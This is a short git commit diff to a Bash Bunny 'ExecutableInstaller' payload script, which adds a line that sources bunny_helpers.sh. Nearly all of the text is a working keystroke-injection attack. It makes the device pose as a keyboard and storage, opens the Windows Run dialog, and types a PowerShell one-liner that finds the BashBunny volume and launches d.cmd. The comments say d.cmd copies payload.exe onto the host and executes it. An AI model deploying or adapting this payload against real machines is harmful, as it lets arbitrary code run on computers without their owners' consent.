Add bunny_helpers.sh to ExecutableInstaller

This commit is contained in:
Carleton Stuberg 2017-03-06 22:45:15 -05:00
parent e6ab6277f2
commit 7c39e581c7

View File

@ -10,11 +10,14 @@
# which in turn copies payload.exe from the root of the Bash Bunny and then executes it
# using the --startup parameter. Change these settings inside of e.cmd.
#
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
source bunny_helpers.sh
LED R
ATTACKMODE HID STORAGE
QUACK GUI r
QUACK DELAY 100
# TODO: Verify $SWITCH_POSITION
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd')"
QUACK ENTER